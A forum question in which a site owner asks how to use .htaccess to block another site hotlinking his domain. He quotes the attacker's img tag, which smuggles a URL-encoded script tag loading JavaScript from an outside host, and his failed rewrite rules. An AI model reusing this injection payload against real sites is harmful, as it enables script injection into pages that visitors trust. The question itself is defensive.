Redirect Hotlinker Without Extensions to Parent Website using .htaccess

Viewed 48

A malicious website is using img tag to insert redirect script in my website. I have prevented the redirect using strip_tags() but the site is consuming all of my bandwidth. The code he is using is:

<img src="http://mywebsite.com/video/%3Cscript%20type=%22text/javascript%22%20src=%22http://sex3gpvideos.sextgem.com/asss.js%22%3E%3C/script%3E" alt="loading" height="0" width="0" class="thumb"></img>

I tried to add this code to prevent the img hotlink but it did't work as there is no extensions in the img link:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?mywebsite\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L]

I want to redirect all websites using my domain in img tags <img src="http://mywebsite.com/ANYTHING-HERE"/> to mywebsite.com

How do I do it using .htaccess?

1 Answers
Related